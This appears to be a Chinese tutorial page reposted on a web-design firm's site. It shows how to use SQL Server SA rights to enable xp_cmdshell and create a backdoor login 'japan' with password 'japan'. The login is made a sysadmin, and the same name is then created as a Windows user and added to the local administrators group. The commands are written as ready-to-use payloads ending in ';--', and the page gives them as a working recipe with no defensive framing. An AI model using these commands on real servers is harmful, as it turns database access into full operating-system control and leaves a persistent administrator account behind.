通过SQL Server SA权限,可以实现许多的操作,下面为您介绍的是通过SQL Server SA权限创建系统用户的方法,希望对您学习SQL Server SA权限的使用能有所启迪。
创新互联专注于筠连网站建设服务及定制,我们拥有丰富的企业做网站经验。 热诚为您提供筠连营销型网站建设,筠连网站制作、筠连网页设计、筠连网站官网定制、微信平台小程序开发服务,打造筠连网络公司原创品牌,更为您提供筠连网站排名全网营销落地服务。
- --enabble xp_cmdshell
- EXEC sys.sp_configure N'show advanced options', N'1' RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'xp_cmdshell', N'1'
- go
- RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'show advanced options', N'0' RECONFIGURE WITH OVERRIDE
- go
- -- Unenable xp_cmdshell
- EXEC sys.sp_configure N'show advanced options', N'1' RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'xp_cmdshell', N'0'
- go
- RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'show advanced options', N'0' RECONFIGURE WITH OVERRIDE
- go
- -- 通过xp_cmdshell 创建操作系统用户, japan 是用户名及密码
- exec master.dbo.sp_addlogin japan;--
- exec master.dbo.sp_password null,japan,japan;--
- exec master.dbo.sp_addsrvrolemember japan,sysadmin;--
- exec master.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
- exec master.dbo.xp_cmdshell 'net localgroup administrators japan /add';--
分享标题:通过SQLServerSA权限创建系统用户
本文路径:http://www.csdahua.cn/qtweb/news0/146100.html
网站建设、网络推广公司-快上网,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 快上网